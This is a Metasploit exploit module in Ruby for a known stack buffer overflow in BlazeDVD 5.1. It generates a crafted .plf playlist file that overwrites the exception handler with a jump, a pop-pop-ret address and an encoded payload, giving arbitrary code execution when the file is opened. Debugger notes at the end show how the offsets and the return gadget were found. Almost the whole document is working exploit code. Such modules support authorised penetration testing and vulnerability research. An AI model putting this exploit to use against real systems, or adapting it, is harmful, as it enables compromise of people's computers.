##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'BlazeDVD 5.1 PLF Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack over flow in BlazeDVD 5.1. When
          the application is used to open a specially crafted plf file,
          a buffer is overwritten allowing for the execution of arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE' , '2006-6199' ],
          [ 'OSVDB', '30770'],
          [ 'BID', '35918' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => 'true',
        },
      'Payload'        =>
        {
          'Space'    => 750,
          'BadChars' => "\x00",
          'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
          'DisableNops'  =>  'True',
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [ 'BlazeDVD 5.1', { 'Ret' => 0x100101e7 } ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Aug 03 2009',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME',   [ false, 'The file name.',  'msf.plf']),
      ], self.class)
  end

  def exploit

    plf = rand_text_alpha_upper(6024)

    plf[868,8] = Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2)  + [target.ret].pack('V')
    plf[876,12] = make_nops(12)
    plf[888,payload.encoded.length] = payload.encoded

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(plf)

  end

end

=begin
0:000> !exchain
0012f2c8: 31644230
Invalid exception stack at 64423963
0:000> !pattern_offset 6024 0x31644230
[Byakugan] Control of 0x31644230 at offset 872.
0:000> !pattern_offset 6024 0x64423963
[Byakugan] Control of 0x64423963 at offset 868.
0:000> s -b 0x10000000 0x10018000 5e 59 c3
100012cd  5e 59 c3 56 8b 74 24 08-57 8b f9 56 e8 a2 3c 00  ^Y.V.t$.W..V..<.
100101e7  5e 59 c3 90 90 90 90 90-90 8b 44 24 08 8b 4c 24  ^Y........D$..L$
0:000> u 0x100012cd L3
skinscrollbar!SkinSB_ParentWndProc+0x1fd:
100012cd 5e              pop     esi
100012ce 59              pop     ecx
100012cf c3              ret
=end